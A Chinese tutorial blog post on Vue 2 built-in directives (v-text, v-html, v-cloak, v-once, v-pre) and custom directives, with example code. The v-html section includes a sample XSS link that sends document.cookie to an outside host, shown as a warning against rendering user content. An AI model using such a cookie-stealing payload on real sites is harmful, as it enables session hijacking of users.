vue2_11、内置指令、自定义指令

1、内置指令

学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)

1.1v-text指令:

1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>

1.2v-html指令

请求时服务器返回cookie的流程

image

只要别的浏览器拿到你这网站返回的cookie,就可以在另外电脑的另外浏览器上直接登录。

1.作用:

向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div v-html="str"></div>		

		</div>
		

    <script type="text/javascript">

        Vue.config.productionTip=false;//阻止vue启动时生成生产提示      
	
		const vm=new Vue({
			el:"#root",
			data:function(){
				return {
					name:"<h3>你好啊</h3>",
					str:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>找到好资源了</a>"
				}
			}
		});

    </script>

1.3、v-cloak指令

v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

style:

<style>
			[v-cloak]{
				display:none;
			}
		</style>

内容:

		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<!-- 延迟5秒收到vue.js,这个服务器端是自定义的,然后把vue.js放在里面,通过路由接收响应的时间 -->
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>

1.4、v-once指令

v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<body>
		<!-- 准备好一个容器-->
		<div id="root">
		
			<h3 v-once>初始化时n的值是:{{n}}</h3>
			<h3>当前n的值是:{{n}}</h3>
			<button v-on:click="n++">点我n+1</button>

		</div>
		

    <script type="text/javascript">

        Vue.config.productionTip=false;//阻止vue启动时生成生产提示      
	
		const vm=new Vue({
			el:"#root",
			data:function(){
				return {
					n:1,
				}
			}
		});

    </script>

1.5、v-pre指令:

1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!-- 准备好一个容器-->
		<div id="root">
		
			<!-- 下面 三行不会被vue编译-->
			<h3  v-pre>初始化时n的值是:{{n}}</h3>
			<h3 v-pre>当前n的值是:{{n}}</h3>
			<button v-pre v-on:click="n++">点我n+1</button>

		</div>
		

    <script type="text/javascript">

        Vue.config.productionTip=false;//阻止vue启动时生成生产提示      
	
		const vm=new Vue({
			el:"#root",
			data:function(){
				return {
					n:1,
				}
			}
		});


2、自定义指令

一、定义语法:

(1).局部指令:

new Vue({
	directives:{指令名:配置对象}
});

或:
new Vue({
	directives{指令名:回调函数}
})

(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调:

(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。

三、备注:

1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

<body>
		<!-- 准备好一个容器-->
		<div id="root">

			<!--需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
				需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。-->

			<h2>当前的n值是:<span v-text="n"></span></h2>

			<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-bumber="n"></span></h2> -->
		
			<button v-on:click="n++">点我n+1</button>
			<hr>
			<br/>

			<input type="tel"  v-fbind:value="n" >

		</div>
		

    <script type="text/javascript">

        Vue.config.productionTip=false;//阻止vue启动时生成生产提示      
	
		const vm=new Vue({
			el:"#root",
			data:function(){
				return {
					n:1,
				}
			},
			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				big:function(element,binding){	
					// console.dir(element);//真实的dom元素,也就是你定义的指令在的那个元素。
					// console.log(binding);//指令的相关信息
					//console.log(this);//此处的this是window
					element.innerText=binding.value*10;
					
				},

				// "big-bumber"(element,binding){
				// 	element.innerText=binding.value*10;
				// },

				fbind:{
					//指令与元素成功绑定时(一上来)调用
					bind(element,binding){
						element.value=binding.value;

					},
					//指令所在元素被插入页面时调用
					inserted(element,binding){
						element.focus();
					},
					//指令所在模板被重新解析时调用
					update(element,binding){
						element.value=binding.value;
						element.focus();
					}

				},
			}
		});

    </script>
    
</body>
posted @   青仙  阅读(140)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示